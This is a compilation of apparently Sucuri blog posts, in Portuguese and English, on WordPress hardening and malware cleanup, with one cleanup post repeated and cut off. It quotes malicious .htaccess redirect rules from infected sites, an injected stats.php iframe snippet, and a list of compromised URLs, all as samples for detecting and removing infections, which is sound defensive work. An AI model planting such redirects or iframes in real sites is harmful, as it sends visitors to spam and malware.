Redução de risco é o nome do jogo. Um conjunto de ações, ferramentas e processos, todos voltados para reduzir o risco de invasões.

É Responsabilidade de Todos!

Isso começa com você. Siga estes passos e você vai reduzir seu risco de forma significativa (sem usar diversos plugins!):

1. Mantenha os softwares atualizados

Esta semana é marcada pelo lançamento do WordPress 3.5.1, uma manutenção no aumento de segurança. Existe uma razão para este lançamento. Não só para novos recursos maravilhosos, mas também para correções de bugs e vulnerabilidade de segurança.

O seu site “caiu” fazendo o upgrade? O desenvolvedor do seu plugin não avisou que a atualização iria “derrubar” seu site? Estes podem ser sinais de que o tema ou o plugin habilitado não foram desenvolvidos seguindo o padrão do WordPress (WordPress Coding Standards). Pode ser também um tema/plugin desatualizado que não é compatível com a versão atualizada do WordPress. Seja qual for o caso, este não é o ideal e pode estar na hora de achar um substituto adequado. Apenas certifique-se em sua análise e pesquisa que o tema ou plugin esta sendo ativamente cuidado pelo autor.

Faça seu dever de casa. Use fontes confiáveis para os plugins e use também o tema oficial do WordPress. Se você estiver usando temas comerciais ou plugins, pesquise e até mesmo fale com o autor perguntando sobre as suas políticas de suporte e práticas de codificação.

2. No Soup Kitchen Servers! (Como diz o Sr. Tony Perez)

Já instalou uma versão boba do WordPress pra realizar testes? Deixou lá por alguns anos? Ei, não faça isso. Todos os sites daquele servidor estão em risco de serem infectados por causa dele, o que é conhecido como cross-contamination.

Os hackers vão encontrar uma brecha e vão explorá-la, vão infectar tudo que está em seu espaço compartilhado. Se você não eliminar a vulnerabilidade, você pode limpar tudo até a ponta dos seus dedos caírem e tudo será infectado novamente. Isso acontece porque frequentemente servidores compartilhados permitem adicionar múltiplos sites na mesma conta principal. Ou seja, você infecta um, você infecta todos! Se o site não está em uso, remova-o. ;)

Mas falando sério, segmente todos seus sites em local isolados, em especial quando se trata de desenvolvimento, preparação e produção de sites. Além disso, se você tem temas/plugins desabilitados, remova todos, não é necessário ter eles no servidor. Mantenha apenas o que você precisa e o que está em uso!

3. Reduza os acessos

Dê para o pessoal o acesso necessário para realizarem seu trabalho, nada mais; remova quando tiverem terminado! Esta é a prática de privilégio mínimo e você deve praticar isso em qualquer tipo de sistema de informação. Isso significa WordPress, FTP, bancos de dados e qualquer outro acesso. É fundamental a gestão e o uso de regras.  Se os usuários são responsáveis por editar o conteúdo, porque eles devem ter direitos administrativos? Use a conta do administrador somente quando for realizar tarefas administrativas como atualizar o WordPress ou adicionar/remover plugins, temas ou widgets.

Outro risco que os donos de sites encontram com relação ao controle de acesso ao site, são os fortes ataques em sua página de login do WordPress – / wp-admin ou / wp-login.php. Existem duas melhorias fáceis aqui, uma seria incluir autenticação de dois fatores no WordPress admin. Confira o Google Authenticator Plugin, se você ainda não fez isso. Ele funciona muito bem e se você já está usando o Google Authenticator você sabe que funciona com diversas de suas ferramentas e dispositivos existentes.

Outra melhoria é limitar a quantidade de tentativas de login. Recentemente eu demonstrei como é fácil atacar wp-admin e se você estiver usando senhas “fracas”, o demonstrativo mostra o quão rápido você pode ser hackeado. Se você desativar outras tentativas após 3-4 tentativas de login em seu wp-admin usando algo como Tentativas Máximas de Login, você reduz o risco de forma significativa.

4. Passphrases ao invés de Senhas

Você sabia que “password” ainda é uma das senhas mais usadas e ativas em toda a internet? Se isso é de conhecimento público, você não acha que os hackers também sabem disso? Eles sabem! Hackers estão procurando invadir seu WordPress admin com senhas conhecidas como estas. A coisa mais importante que eu quero que você tire desta discussão é que senha é para ser única!

Ao invés de senhas curtas, use pass-phrases como a letra de sua música favorita do Notorious BIG. Use pass-phrases diferentes para logins diferentes . Outra abordagem interessante é simplismente não saber nenhuma de suas senhas e deixar uma ferramenta de gerenciamento de senhas como LastPass fazer o trabalho pesado. Ele guarda suas senhas de forma segura e ainda ajuda a você usa-los, mesmo sem você conhece-las.

5. Defina uma Agenda de Backup

Se você não tem uma agenda de backup ativa, você não está certo! Inúmeras vezes fomos abordados para limpar um site e rapidamente vemos que o invasor acabou com componentes cruciais do site ou uma tonelada de arquivos de seu tema. Aí quando pedimos um backup dos dados ou arquivos que eles não têm e seu host também não. É como se o site nunca tivesse existido.

Isso é de sua responsabilidade e agora é o momento certo para começar. Existem várias ferramentas no mercado, como BackupBuddy e VaultPress, até mesmo alguns de graça no repositório. Seu host também pode ter uma solução. Qualquer um desses é bom só lembre de fazer um plano, crie uma agenda, e cheque se está armazenando seus backups fora do servidor (de preferência, em vários lugares).

Além disso, a maioria das práticas que você ouve sobre como remover o usuário “admin”, remover a versão do WordPress do site, ou mudar seu prefixo de banco de dados não são muito úteis. São práticas obscuras que definitivamente podem frustrar um invasor de fazer dano, mas não se engane em pensar que é a melhor forma de proteção contra ataques modernos e automatizados que procuraram por vulnerabilidades específicas em seu site ou servidor, ou mesmo atacando senhas fracas. Na verdade, se é para falar sobre redução de riscos eu não descarto essas práticas completamente.

Ter plugins ou não, eis a questão!

A maioria dos plugins de segurança que fazem, ou dizem que fazem tudo e muito mais, mas ainda não cobrem essas áreas mencionadas me preocupam, e eu realmente pesaria o custo benefício deles. Em muitos casos, eles dão uma falsa sensação de segurança com incríveis táticas de usar palavras confusas para impressionar.

Existem alguns plugins que já vem com um firewall que podem bloquear o tráfego vindo de endereços maliciosos, como o “Sucuri WordPress Plugin”. Esta abordagem é muito útil, pois pode ativamente bloquear IPs conhecidos por atividades suspeitas, na mosca. Ele também tem uma lista com centenas a milhares de sites maliciosos e que distribuem spam, IPs e hostnames que nos permitem bloquea-los em todo o mundo aonde o plugin está instalado.

Alguns outros plugins por aí são mais focados em auditoria e rastreamento de problemas  ocorridos, o que é ótimo, mas não vai ser muito útil na redução do risco de forma proativa.

No final, cabe a você. O que eu peço é para você pesquisar. Seja diligente e tenha certeza de que o que você está instalando atende a sua necessidade de segurança e não qualquer prática vaga, sem valor real. Mantendo a atualização, manutenção, limitando o acesso, senhas fortes, e backups, você está se colocando em uma posição favorável.

Para fechar

As vezes, menos é mais, e com um monte de plugins por aí, hoje, há uma quantidade considerável de sobreposição. Eu gosto de ir a fundo em pesquisas então essa sobreposição pode ser uma coisa boa, só não vá sair por ai instalando tudo que ver pela frente. É importante entender que, quanto mais você adicionar, mais você tem que manter e há chance de mais vulnerabilidades surgirem. Mantenha tudo simples, tire todo excesso e pense em redução de risco!

Aí está, é isso que eu penso. O que você tem para adicionar ou discordar?

Gostaríamos muito de saber como você lida com a segurança do WordPress. Nós também adorariamos ouvir suas recomendações, deixe-nos um comentário abaixo!

Isso é o que eu quero abordar neste post. Todas essas coisas que você deve saber quando se tenta remover o malware na web a partir de seu site.

Limpeza Basica

Ao trabalhar para limpar o seu site há uma série de coisas que você deve saber, eu vou envolvê-lo em 4 coisas fundamentais:

• Use Scanners em tempo real
• Estrutura de arquivo padrão do WP
• Permissões de Arquivos
• Disabilitando Plugins

1. Use Scanners em tempo real

Ao contrário da crença popular, utilizar web-based scanners são uma necessidade atual. Os falsos positivos são um risco aceitável na luta de hoje contra web-malware, eles são muito melhores do que falso-negativos. Em outras palavras, nao detectar uma possível infecção.

Então, é claro, não existem muitos scanners de tempo real lá fora, no mercado. Nenhum deles que seja verdadeiramente livre e voluntariamente capaz de lhe dar um relatório sem pedir um registo ou algum tipo de pagamento:

• Sucuri SiteCheck

Aviso: O scanner não é 100%, assim como nenhum tipo de produto de Antivirus deve oferecer certeza de 100%, visto que isso não é possível neste domínio. Se fosse, não haveriam quaisquer concorrentes ou prestadores de serviços.

2. Estrutura de arquivo padrão WP

O que a maioria não entende é como WordPress é organizado por padrão, e isso é uma distinção importante a fazer. Em cada instalação, há diretórios centrais e arquivos.

Isto é o que uma instalação limpa se parece:

Uma opção que você tem é de fazer suas próprias verificações de integridade, comparando a sua instalação base com a instalação original. Como você pode imaginar, existe uma maneira de fazer isso via terminal, aqui está um exemplo:

$ diff-r /Documents/wordpress/wp-includes/public_html/happysite.com/wp-includes

Por que é importante?

É importante porque, em mais casos do que a maioria das pessoas percebe, você vai querer substituir a sua instalação do núcleo.

O raciocínio é simples, pelo que vemos, em uma série de infecções, uma vez o acesso é feito ao meio ambiente, cargas backdoor são empurrados para os diretórios de instalação. Isso permite que os crackers possam obter acesso ao seu ambiente diretamente. Se você não tem a capacidade de efetivamente verificar cada diretório para backdoors conhecidos ou nova, então é uma boa prática para substituir os dois principais diretórios wp-admin e wp-includes.

Por favor, note a ênfase em substituir, e não atualizar. Isto é importante porque uma atualização simplesmente substitui os arquivos existentes, para substituir o backdoor em um arquivo, ele não vai limpar o diretório. Isto significa que se um backdoor reside em um arquivo não-raiz a atualização não vai limpar a questão.

Dica: SEO Spam é notório para fazer isso.

3. Permissões de Arquivos

Um dos assuntos mais importantes sao as permissões de arquivo. O Codex WordPress.org oferece alguns conselhos muito bons sobre as permissões específicas para instalações do WordPress.Você pode encontrar um bom artigo no Codex: Changing file permissions

O maior dica é simples:

• Diretórios: 755
• Arquivos: 644

Há uma forma simples de aplicar as alterações através do terminal:

Diretórios:
find [caminho para instalar] -type d -exec chmod 755 {} \;

Arquivos:
find [caminho para instalar] -type f -exec chmod 644 {} \;

Mas como fazer isso fora do terminal?

Sem problemas. Utilizando o seu cliente FTP favorito você deve ser capaz de fazê-lo facilmente.Neste caso eu vou lhe mostrar no FileZilla. Embora não se deva salvar as credenciais no cliente FTP, eu recomendo este software para todos que estejam tentando trabalhar com o FTP.

O que eu particularmente gosto é que você pode usar este cliente em todas as três plataformas mais comuns (por exemplo, MAC, Windows, Linux)

Para alterar as permissões para todos os diretórios é fácil, basta fazer login em seu servidor e clique no diretório de seus arquivos. Ele pode ser: public_html, www, htdocs, httpdocs, etc …

Uma vez no diretório, botão direito do mouse e clique em permissoes de arquivo.

Na próxima tela, você pode digitar 755 onde diz valor numérico.

Certifique-se também clicar Recursivo em subdiretórios e selecione Aplicar a apenas diretórios.

Isso irá aplicar a permissão 755 para todos os diretórios dentro do diretório web

A boa notícia é que as permissões de arquivo são tão fáceis. Basta seguir os mesmos passos acima, desta vez embora você digite 644 e selecione Aplicar para apenas arquivos.

Como você pode ver, não há nenhum segredo real aqui. Basta seguir as recomendações que lhe são dadas.

Outra observação importante a fazer é que no Filezilla você pode ver facilmente a permissão de seus arquivos e diretórios, olhando para a extrema direita do diretório ou arquivo, veja abaixo:

4. Desativar Plugins

Aqui é outra boa dica. Ao utilizar um scanner, se você continuar na luta de identificar a localização da infecção, um lugar muito comum para olhar é o diretório de plugins.

O que a maioria das pessoas não percebem é que você tem a opção de desativar o diretório plugins. Não se deixe enganar pelo uso de “desativar”, ele simplesmente significa que você não pode usar os plugins. Uma maneira muito fácil de fazer isso é renomear o diretório:

Exemplo: plugins -> plugins.backup

Isso irá matar todos os seus plugins tornando-os inúteis para o seu site. A ponto de fazer isso é para ver se a infecção está vinculado aos plugins. Se for, você vai ver que os scanners ao vivo irá mostrar limpo quando você rescanear. Se este for o caso, um truque muito bom é para diminuir a infecção ainda desativando um plugin de cada vez.

Sim, isso funciona e é muito fácil de fazer para iniciantes.

Nota: Não, renomear não vai prejudicar o seu site. Quando você remove o nome e redefinir a sua padrão, o site estará totalmente funcional novamente.

Se você desativar plugins e a infecção ainda está presente, então você sabe que é uma das seguintes opções: arquivos principais, arquivos de temas, ou banco de dados. Se você seguiu as etapas da seção 2, então você sabe que é em qualquer um dos temas ou o banco de dados.

Este post não pretende ser uma descrição técnica de como remover o malware do site, em vez disso, está destinado a ajudar a diagnosticar o local de infecções que por sua vez ajudam a localizar e remover a infecção. É fundamentalmente uma abordagem diferente, mas está destinado a ser assim. Acredite ou não, o mais novato dos usuários seriam capazes de usar essas técnicas para diminuir rapidamente as infecções.

Se você tiver alguma dúvida entre em contato conosco info@sucuri.net .

It seems every day we’re combating malicious redirections. Often, they are simple, but everyday they are evolving, and in some instances become more challenging to detect.

What is perhaps the most frustrating is figuring out which vector is being exploited. It’d be easy to say it’s out-of-date software, but there are so many variations it’s difficult to say. What we can do is provide you some advise if you’re suffering from such a redirection.

What’s important to note about redirections is that they are often generated from your .htaccess file. That being said, they can be obfuscated, encoded, and embedded across a number of your core files. In more serious cases they could be getting generated from a payload in your database as well.

Either way, they are extremely annoying and can cause you to get blacklisted by Google quicker than you can say “Supercalifragilisticexpialidocious.”

Identifying the Infection

Identifying the infection is often easy.

The minute you get a complaint from a user, the first thing you want to do is open up your handy dandy FTP client or terminal, and navigate to the directory that houses your website.

If in terminal be sure to run it so that you see all the files in the directory:

# ls -la ~/public_html/somesite.com

This is important as the a option will make sure you see all the files in the directory. That “.” will often cause the file to be shown as hidden and htaccess files are prefixed with the “.” as a prefix. Funny how that works.

Note: If you’re working Filezilla or another FTP client, be sure you have enabled it such that the client see all hidden files. In Filezilla you do this by clicking on Server in the Menu options and selecting Force showing hidden files (see image below).

Once you see the file, it’s just a matter of opening it to see what might be going on.

Here are samples of things you might see if your site is being redirected:

#c3284d#
<IfModule mod_rewrite.c&>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(abacho|abizdirectory|about|acoon|alexana|allesklar|
allpages|allthesites|alltheuk|alltheweb|altavista|america|amfibi|aol|apollo7|
aport|arcor|ask|atsearch|baidu|bellnet|bestireland|bhanvad|bing|blog|bluewin|
botw|brainysearch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|
clickz|clush|confex|cyber-content|daffodil\.(.*)
RewriteRule ^(.*)$ http://mytresca.com/counter.php [R=301,L]
</IfModule&>
#/c3284d#

-or-

<IfModule mod_rewrite.c>
RewriteEngine on
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*(msn|live|altavista|excite|ask|aol|google|mail|bing|yahoo).*$ [NC]
RewriteCond %{HTTP_COOKIE} !^.*cookie-visited-name.*$ [NC]
RewriteRule .* http://sweepstakesandcontestsnow.com/nl-in.php?d=1 [CO=cookie-visited-name:1:%{HTTP_HOST}:10000,R,L]
</IfModule>

In both these instances you should pay special attention to a things:

First, is the use of the following directive:

RewriteCond %{HTTP_REFERER}

This bad boy is telling the server to respond based on the referrers it identifies. So, in this case, the first version was saying send the user to the bad site if it comes from any of these:

(abacho|abizdirectory|about|acoon|alexana|allesklar|allpages|allthesites|
alltheuk|alltheweb|altavista|america|amfibi|aol|apollo7|aport|arcor|ask|
atsearch|baidu|bellnet|bestireland|bhanvad|bing|blog|bluewin|botw|
brainysearch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|
clickz|clush|confex|cyber-content|daffodil\.

The second one was saying, if it comes from any of these send them to the other bad site:

msn|live|altavista|excite|ask|aol|google|mail|bing|yahoo

Second, the RewriteRule directive tells the server where to send the client if their referrer does meet the criteria:

The first scenario sends the user here:

http://mytresca.com/counter.php

and the second sends them here:

http://sweepstakesandcontestsnow.com/nl-in.php?d=1

Understand that it doesn’t have to be one for one with what I’ve provided here, but in more instances than not, a redirect is often coming from an infected .htaccess file. And if it is, you’re likely to see two directives being used:

RewirteCond %(HTTP_REFERER)

and

RewriteRule.

You don’t have to be a developer to know something is up if you see both those being used in unison. It’s not always the case though, so don’t go removing things just because. A good sign is usually if you see the RewriteRule pointing to site other than your own, such as the case above.

Get Rid Of It

Before you go crazy on your file, create a backup, last thing any one wants is for you to delete or leave unnecessary characters and crash your site. Next thing we know all hell is breaking loose because your site is down.

In terminal, creating a backup, it’s easy:

# cp .htacess .htaccess.myawesomebackup

If you’re in some kind of file explorer, copy and paste often does the trick.

Fortunately, doing away with the infection is easier than slapping butter on a piece bread. You want to highlight the mess and push down on that awesome delete button. BOOM, it’s gone. Don’t forget to hit save though.

If you’re doing this in Filezilla, don’t forget to hit the button that commits your change, this is often triggered after you hit the save button. Don’t do what many do and delete the infection, refresh the browser, but forget to commit the change to the server. You’re bound to find yourself chasing your own tail.

You do want to be careful though, depending on your server, leaving unnecessary spaces or characters could cause your entire site to go down. To avoid this, it’s often best to delete everything between:

<IfModule mod_rewrite.c>

and

</IfModule>

and leave those directives in place. If you’re one of those fanatics about your code looking tip top, then go ahead and remove it. This approach can obviously be argued two ways from Sunday, but the point is, get rid of the junk. It’s your prerogative on how you decide to maintain your code.

A few tidbits to take home with you:

Many reading this might argue that this is only removing the infection, not the cause, they’d be right. Redirections can be complex animals, here are a couple of things to keep in mind:

• Web redirects are not always this simple, there are instances that whatever created the infection has actually duplicated the infection by creating a .htaccess in every one of your directories
• Depending on your host and the payload, you might find that you clear all the .htaccess file infections but the site is still redirecting. In these instances, it’s best to look outside the web directory. GoDaddy installs are notorious for this.
• This has only covered what to do if you suspect you are infected. It doesn’t talk to the cause of the infection, nor does it address reinfection issues.
• If you suspect you are infected you can always use our free scanner SiteCheck to help narrow down the issue
• If clearing all your .htaccess files doesn’t clear the issue then you’re likely dealing with encoded redirection and engaging professional help is in your interest

If you have any questions or you blow up your site just let us know at info@sucuri.net.

&lt;iframe src=&quot;http://hackedsite.com/stats.php” name=”Twitter” ..

Stats.php é um ataque de injeção iFrame. Esta não é uma questão nova e temos publicado detalhes sobre ela no Sucuri Labs há algum tempo. Entretanto, recentemente nós começamos a ver um aumento no número de sites hackeados por este tipo de ataque (um aumento significativo nos últimos 3 dias).

Uma vez inserido, estes iFrames podem ser controlados para distribuir o malware, claro, mas podem também ser usados para adicionar coisas como drive-by downloads, e outros tipos de ataques baseados em navegador. Embora o vetor exato seja desconhecido, o malware foi encontrado em vários sites com software desatualizado e, em alguns casos, com versões vulneráveis conhecidas.

Aqui está uma lista preliminar dos sites que estamos vendo que estão sendo atacados com uma certa frequência, e o número de vezes que cada site foi comprometido pelos ataques:

2415 http://creativeironart.net/images/stats.php

1906 http://pahgawks.com/download/stats.php

1748 http://onmouseup.info/stats.php

1524 http://cabaniaseleden.com.ar/stats.php

1451 http://oxsanasiberians.com/downloads/stats.php

1312 http://pairedpixels.com/vaca/stats.php

364 http://duygumatbaa.com/stats.php

185 http://www.lifeshiftdevelopment.com/stats.php

124 http://poseyhumane.org/stats.php

87 http://www.clane.org/gallery/stats.php

40 http://drbolivar.com/stats.php

33 http://fontana-euronics.com/stats.php

7 http://www.orso.it/stats/php

.. e muito mais sites ..

Se você fosse visitar qualquer um desses sites diretamente, você receber um aviso de blacklist do Google, ou um erro 404, pois alguns já foram removidos.

Como funcionaria uma rede de malwares web distribuída?

Site-X.com é hackeado e um arquivo malicioso chamado stats.php é inserido nele. Um iFrame é então adicionado ao código-fonte de Site-Y.com/stats.php. Site-Y.com também é comprometido, ele tem um arquivo stats.php inserido nele, e uma iFrame do Site-Z.com/stats.php adicionado. Quando tudo estiver dito e feito, você terá uma grande rede de sites comprometidos, todos ligados uns aos outros e todos com o mesmo malware.

Se você tem alguma dúvida sobre Stats.php ou se você quiser acrescentar mais informações, sinta-se livre para deixar um comentário ou envie um email para info@sucuri.net.

Como se proteger desses hackers?

Infelizmente, é bastante difícil de explicar de uma forma que a maioria entenda. Dito isso, este post será um de uma série que falará sobre o que os usuários finais podem fazer para reduzir a sua superfície de ataque.

Este post irá aumentar o nosso post, Pergunte a Sucuri: Como parar os hackers e garantir que seu site está protegido!, mas com algumas dicas mais práticas. Ele também irá balancear as orientações recentemente compartilhadas em uma conferência para entusiastas do WordPress – WordCamp Orange County 2012.

A Apresentação

Aqui está a apresentação completa. Bastante apropriada, ela é entitulada “WordPress Security – Knowledge is Power”, principalmente por causa da ênfase que colocamos em fortalecer o usuário final com o maior número de ferramentas possível para torná-los mais eficientes em se proteger sozinhos.

“Dê um peixe a um homem faminto e você o alimentará por um dia. Ensine-o a pescar, e você o estará alimentando pelo resto da vida.” – Provérbio Chinês

Em Resumo

Se você não tem tempo de ver os mais de 60 slides tudo bem, apenas veja as dicas abaixo. Entretanto, antes de começarmos, vamos definir alguns conceitos qualificadores.

Os Qualificadores

Bala de Prata – Isto não existe no mundo da Segurança da Informação. Se exisitisse então não haveria necessidade para os últimos ressurgimentos de empresas oferecendo sua inteligência artificial pendente de patente.

Malwares web apenas se tornaram predominantes nos últimos 5 anos fazendo disto uma indústria muito nova, é realmente surpreendente a quantidade de experts que aparecem online com suas décadas de experiência.

Cross-Site Contamination – Este é de longe o maior dos problemas atualmente contribuindo para a maioria das reinfecções que nós vemos. É o conceito de servidores Feira Livre.

É como se você tirasse a sua Cruiser da estrada, você está destinado a bater numa pedra que irá fazer você voar e amassar seu garfo, tirando sua moto de circulação.

Reinfecções – Ninguém pode garantir sem sombra de dúvidas que você não será reinfectado. Para fazer isso significaria ter uma bola de cristal para prever o que irá acontecer e eu posso garantir que isto não existe.

É como dizer que você nunca sofrerá um acidente de carro. Sério?

Faça o .htaccess seu amigo

Este é talvez o arquivo mais subutilizado das configurações do website que nós vemos diariamente. Também é o que a maioria das empresas irá modificar quando disserem que estão protegendo o seu ambiente. A boa notícia aqui é que apesar deste post falar especificamente de WordPress, as diretivas podem ser aplicadas em outros sistemas de gerenciamento de conteúdos (Joomla, Drupal, etc.) que utilizam o servidor web Apache.

Se você está pensando o que é, o .htaccess é um arquivo de configuração específico para servidores web que utilizam o Apache. Aqui está uma outra boa notícia, a maioria de vocês que utilizam WordPress estão rodando seus sites numa camada LAMP, isto significa que estão utilizando servidores Linux, rodando o servidor web Apache, junto com MySQL e PHP. Existem distribuições para Servidores Windows e estas recomendações não são exatamente algo que possa ser aplicado nestes ambientes.

Ainda se pergutando porque ele é tão importante? Sem problemas, vamos dar uma olhada em algumas das funcionalidaes que ele nos oferece:

• Documentos de Erro
• Redirecionamentos
• Proteção de Senhas
• Bloquear visitantes por IP
• Prevenção de Hot Link
• Prevenção de Acesso
• Muito mais…

É importante notar entretanto que este arquivo é bastante poderoso e pode facilmente quebrar seu site. Então, use-o com cuidado…

Recomendação – Se você não tem certeza sobre o que as várias diretivas fazem, você sempre pode consultar as referências aqui: DirectiveQuickReference.

5 Dicas de Proteção

Como você deve imaginar existem várias dicas de proteção diferentes por ai, mas a maioria simplesmente repete o que foi dito no post anterior. Aqui eu quero focar nos 5 pontos principais que podem realmente fazer a diferença na maioria dos usuários.

1. Comunicação Segura

É um conceito simples, mas é algo que os usuários finais ainda tem dificuldades. O que é FTP?  O que é SSH? Invista um minuto para se familiarizar com os diferentes mecanismos de comunicação disponíveis disponíveis para você:

• File Transfer Protocol (FTP) – Transmite dados em texto claro, isto é, sem o uso de criptografia
• File Transfer Protocol Secure (FTPS) – Suporta o uso de protocolos criptográficos como Transport Layer Security (TLS) ou Secure Socket Layer (SSL) – em resumo, eles criptografam sua comunicação, evitando roubo de dados e informações sensíveis
• Secure Shell (SSH) – Estabelece uma conexão segura com o servidor utilizando criptografia permitindo uma comunicação protegida.
• Secure FTP (SFTP) – Permite você tunelar o servidor via uma conexão SSH.
• Na dúvida, contate o seu host diretamente.
• Recomendação: Para a maioria dos usuários lendo isto você terá a opção de habilitar FTP ou SFTP. Quando apresentado com essa opção, habilite o SFTP. A conexão ideal é uma combinação de SFTP e SSH. SFTP irá permitir que você transfira seus arquivos de forma segura e SSH irá permitir que você trabalhe no servidor com segurança. Existe uma diferença fundamental aqui.

2. Proteja o HTACCESS

Como foi mencionado anteriormente, este arquivo é muito crítico. É um dos mais modificados quando lidamos com redirecionamentos e é comumente utilizado para alterar o tipo dos arquivos e torná-los executáveis. Por outro lado, é também aquele que você irá utilizar para proteger o seu ambiente.

Para proteger, você deve aplicar algumas regras simples:

1. Definir baixas permissões
2. Bloquer o acesso

Definir baixas permissões

O guia básico para as permissões é simples, quanto menor o número mais difícil o acesso se torna. Uma boa dica é manter o número o menor possível onde a performance e a funcionalidade não sejam afetadas. Para a maioria dos usuários, configurar a permissão para 640 irá resolver o problema.

Adicione diretivas .htaccess

O que é importante notar aqui é que isso apenas funciona se o ataque for externo. Isto não irá protegê-lo de ataques internos, por internos eu quero dizer ataques que acontecem a partir de credenciais comprometidas dos servidores or algo parecido.

Esta é a diretiva .htaccess que você pode utilizar:

#PROTECT HTACCESS

<Files HTACCESS>

Order Deny, Allow

Deny from All

</Files>

Nota: Isso apenas protege o arquivo de acesso externo.

3. Desabilitar o Editor de Plugins / Temas

Quando você olha as principais razões porque um site é comprometido uma delas será, perdendo apenas para os softwares desatualizados, as credencias comprometidas. Geralmente solucionamos este problema, e sim, explicamos como nesta apresentação. Mas não iremos tratar do comprometimento das credenciais em si, e sim, sobre o que ocorre quando elas são comprometidas.

Agora vem a questão, o que você pode fazer para suavizar o impacto caso alguém descubra que sua senha era P@ssw0rd. O foco terá que ser em como diminuir o impacto deste comprometimento.

Existem duas constantes específicas que ajudam a reduzir este impacto:

define(‘DISALLOW_FILE_EDIT’,true);

- ou –

define(‘DISALLOW_FILE_MODS’,true);

Recomendação: Se você usar um, não precisará do outro, eles são praticamente equivalentes com excessão da versão “MODS” que desabilita a capacidade do usuário atualizar seus temas ou plugins. Por razões óbvias nós não queremos que você desative o processo de atualização mais amigável, que tipo de profissionais de segurança nós seríamos? Digo, vamos falar sério, metade das pessoas não fazem as atualizações utilizando este método, o que nos levaria a pensar que dificultando ainda mais as coisas seria mais vantajoso.

Nota: Essas constantes serão adicionadas ao seu arquivo wp-config.php e mais informações podem ser encontradas aqui: http://codex.wordpress.org/Editing_wp-config.php

4. Proteja arquivos importantes via IP ou subdomínios

Geralmente ouvimos as pessoas falarem sobre a importância de bloquear o acesso a arquivos ou diretórios específicos através do IP e normalmente vem acompanhado por, “Bem, se você possui um IP dinâmico, esta situação não se aplica”. Queremos dizer que isto não é totalmente verdade, por isso fizemos um post sobre: HowTo: LockDownWordPressAdminPanelwithaDynamicIP

É muito importante bloquearmos o acesso e é altamente recomendado.

Note que ainda parece existir alguns problemas em utilizar subdomínios no lugar de IPs com alguns servidores, este problema ainda está sendo analisado.

As duas diretivas que você provavelmente mais gostará de utilizar no princípio será:

<Files [File Name]>

Order Deny, Allow

Deny from All

Allow from [IP] or [Domain]

</Files>

Nota: Encontre mais sobre a Diretiva Files aqui: http://httpd.apache.org/docs/2.0/mod/core.html#files

- ou -

<FilesMatch [File Type]>

Order Deny, Allow

Deny from All

Allow from [IP] or [Domain]

</FilesMatch>

Nota: Encontre mais sobre a Diretiva FilesMatch aqui: http://httpd.apache.org/docs/2.0/mod/core.html#filesmatch

5. Proteja o WP-CONTET

Esta é uma das dicas que nem sempre é discutida, mas deveria. Mais comum do que muitos sabem, o diretório Uploads é o seu elo mais fraco, funcionando como ponto de entrada. Faz sentido, pois normalmente é o único diretório que precisa ter permissões de escrita. Então, o que você pode fazer?

A melhor abordagem é desabilitar a execução remota de qualquer arquivo PHP. Naturalmente, nos utilizamos o .HTACCESS para nos ajudar. Utilizando a seguinte diretiva você consegue facilmente bloquear a execução de qualquer arquivo PHP que residam dentro dos diretórios do WP-CONTENT.

Por favor utilize por sua conta e risco, dependendo de como o seu tema ou seus plugins foram desenvolvidos isto poderá quebrar seu site. 

<FilesMatch .php>

Order Deny, Allow

Deny from All

</Files>

Nós esperamos que este artigo tenha sido útil. Se você tiver qualquer pergunta ou dúvidas sobre as dicas neste post, por favor não hesite em nos contactar em info@sucuri.net

That’s what I want to cover in this post. All those things that you should know when trying to remove web malware from your site.

Cleaning Basics

When working to clean your site there are a number of things you should know, I’ll wrap it into 4 key things:

• Use Live Scanners
• Default WP File Structure
• File Permissions
• Disabling Plugins

1. Use Live Scanners

Contrary to popular belief, utilizing web-based scanners are a necessity in this day and age. False positives are an acceptable risk in today’s fight against web-malware, they are much better than false-negatives. In other words, missing a possible infection.

So of course, there aren’t many live scanners out there on the market, none that are truly free and willingly give you a report without asking for a registration or payment of some kind:

• Sucuri SiteCheck

Disclaimer: The scanner is not 100%, no AV type product should ever boast 100% certainty as it’s not possible in this domain. If it were, there wouldn’t be any competitors or service providers.

2. Default WP File Structure

What most don’t understand is how WordPress is organized by default, it’s an important distinction to make. In every install, there are core directories and files.

This is what a clean install looks like:

One option you have is to do your own integrity checkS by comparing your base install to the core install. As you might imagine, there is a way to do this via terminal, here is an example:

$ diff -r /Documents/WordPress/wp-includes /public_html/happysite.com/wp-includes

Why important?

It’s important because in more cases than most folks realize, you’ll want to replace your core install.

The reasoning is simple, from what we see, in a lot of infections once access is gained to the environment, backdoor payloads are pushed into the install directories. This allows the crackers to gain access to your environment directly. If you don’t have the ability to effectively scan every directory for known or new backdoors, then it’s good practice to replace the two core directories wp-admin and wp-includes.

Please note the emphasis on replace, not update. This is important because an update will simply overwrite the existing files, to replace the backdoor in a file, it will not purge the directory. This means if a backdoor resides in a non-root file the update won’t clear the issue.

Hint: SEO Spam is notorious for doing this.

3. File Permissions

The ever important file permissions. The WordPress.org Codex offers some very good advice on specific permissions for WordPress installs. You can find a good article on the Codex: Changing File Permissions

The biggest take-away is simple:

• Directories: 755
• Files: 644

There is a simple way to apply the changes via terminal:

Directories:
find [path to install] -type d -exec chmod 755 {} \;

Files:
Find [path to install] -type f -exec chmod 644 {} \;

But what about the non-terminal types?

No problem. Using your favorite FTP client you should be able to do it easily. In this instance I’ll show you in FileZilla. While I wouldn’t save the credentials in the client, I’d recommend this client for most trying to work in FTP.

What I particularly like about it is you can use this client across the three most common platforms (e.g., MAC, Windows, Linux)

To change the permissions for all directories it’s easy, simply log into your server and click on the directory for your web-files, it can be: www, publich_html, htdocs, httpdocs, etc…

Once at the directory, right-click and click on properties.

On the next screen you can type in 755 where it says Numeric value.

Be sure to also click Recurse into subdirectories and select Apply to directories only.

This will apply the 755 permission to all directories within the web directory

The good news is that the file permissions are just as easy. Simply follow the same steps as above, this time though you’ll type 644 and select Apply to files only.

As you can see, there is no real secret here. Simply follow the recommendations you are given.

Another important note to make is that in Filezilla you can easily see the permission of your directories and files by looking to the far right of the directory or file, see below:

4. Disable Plugins

Here is another good tip. When using a scanner, if you continue to struggle identifying the location of the infection, one very common place to look in is the plugins directory.

What most people don’t realize is that you have the option to disable the plugins directory. Don’t be fooled by the use of “disable”, it simply means you can’t use the plugins. One very easy way to do this is rename the directory:

Example: plugins – > plugins.backup

